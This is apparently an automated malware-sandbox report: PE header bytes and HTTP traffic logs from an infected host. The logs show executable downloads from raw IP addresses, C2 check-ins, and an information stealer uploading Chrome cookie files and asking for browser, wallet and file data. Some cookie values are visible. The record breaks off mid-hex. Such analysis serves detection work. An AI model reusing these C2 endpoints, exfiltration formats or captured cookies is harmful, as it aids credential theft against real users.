00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 13 0b 00 00 00 60 2e 00 00 06 00 00 00 52 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 2e 00 00 02 00 00 00 58 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2d 00 00 a0 2e 00 00 02 00 00 00 5a 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6e 67 65 7a 75 79 75 00 00 1c 00 00 60 5c 00 00 00 1c 00 00 5c 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6e 75 72 67 65 7a 6d 00 20 00 00 00 60 78 00 00 02 00 00 00 5c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 78 00 00 22 00 00 00 5e 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /tmp/1.exe HTTP/1.1Host: foodbook.live
Source: global traffic	HTTP traffic detected: GET /v2/?request=displayproxies&protocol=socks4&timeout=10000&country=all&ssl=all&anonymity=all HTTP/1.1Host: api.proxyscrape.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 31 34 32 43 41 46 42 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CDF1A142CAFBFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /lend/leg222.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 31 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000160001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cdn-directory/gold543.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/gold543.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/gold543.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 31 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000192001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cdn-directory/wev233v22.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/wev233v22.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: GET /cdn-directory/wev233v22.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 30 31 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000193001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /large/hello.exe HTTP/1.1Host: 77.232.41.110
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 32 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000202001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEHHost: 85.28.47.70Content-Length: 212Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 30 43 44 32 46 36 44 46 42 35 45 31 35 37 33 35 33 32 31 30 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 68 65 6c 6c 6f 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 2d 2d 0d 0a Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="hwid"F0CD2F6DFB5E1573532102------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="build"hello------AFIDGDBGCAAFIDHIJKEH--
Source: global traffic	HTTP traffic detected: GET /lend/build16666.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHIEBKJKFIEBGDGDAAHost: 85.28.47.70Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 49 45 42 4b 4a 4b 46 49 45 42 47 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------KKEHIEBKJKFIEBGDGDAAContent-Disposition: form-data; name="message"browsers------KKEHIEBKJKFIEBGDGDAA--
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 85.28.47.70Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"plugins------KKJKFBKKECFHJKEBKEHI--
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: 85.28.47.70Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="message"fplugins------HDHJEBFBFHJECAKFCAAK--
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 85.28.47.70Content-Length: 6779Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/sqlite3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDAHost: 85.28.47.70Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJKHost: 85.28.47.70Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file"------EGCBAFCFIJJJECBGIIJK--
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 32 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000210001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /down/1qWbf4Bsej2u.exe HTTP/1.1Host: 43.153.49.49:8888
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: 85.28.47.70Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file"------EGIDAAFIEHIEHJKFHCAE--
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/freebl3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/mozglue.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/msvcp140.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 30 32 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000219001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/nss3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Freshbuild.exe HTTP/1.1Host: 185.172.128.116
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/softokn3.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /663cea891445d733/vcruntime140.dll HTTP/1.1Host: 85.28.47.70Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 32 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000226001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cdn-directory/see.exe HTTP/1.1Host: 185.216.214.217
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 85.28.47.70Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDGHost: 85.28.47.70Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="message"wallets------DAAFBAKECAEGCBFIEGDG--
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 85.28.47.70Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"622ea66090471a9c3f237a5364ada0ac579eca3fe4f71d4e840f87f41c8118383ebc9f20------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="message"files------AFBFHDBKJEGHJJJKFIIJ--
Source: global traffic	HTTP traffic detected: POST /570d5d5e8678366c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 85.28.47.70Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 32 65 61 36 36 30 39 30 34 37 31 61 39 63 33 66 32 33 37 61 35 33 36 34 61 64 61 30 61 63 35 37 39 65 63 61 33 66 65 34 66 37 31 64 34 65 38 34 30 66 38 37 66 34 31 63 38 31 31 38 33 38 33 65 62 63 39 66 32 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 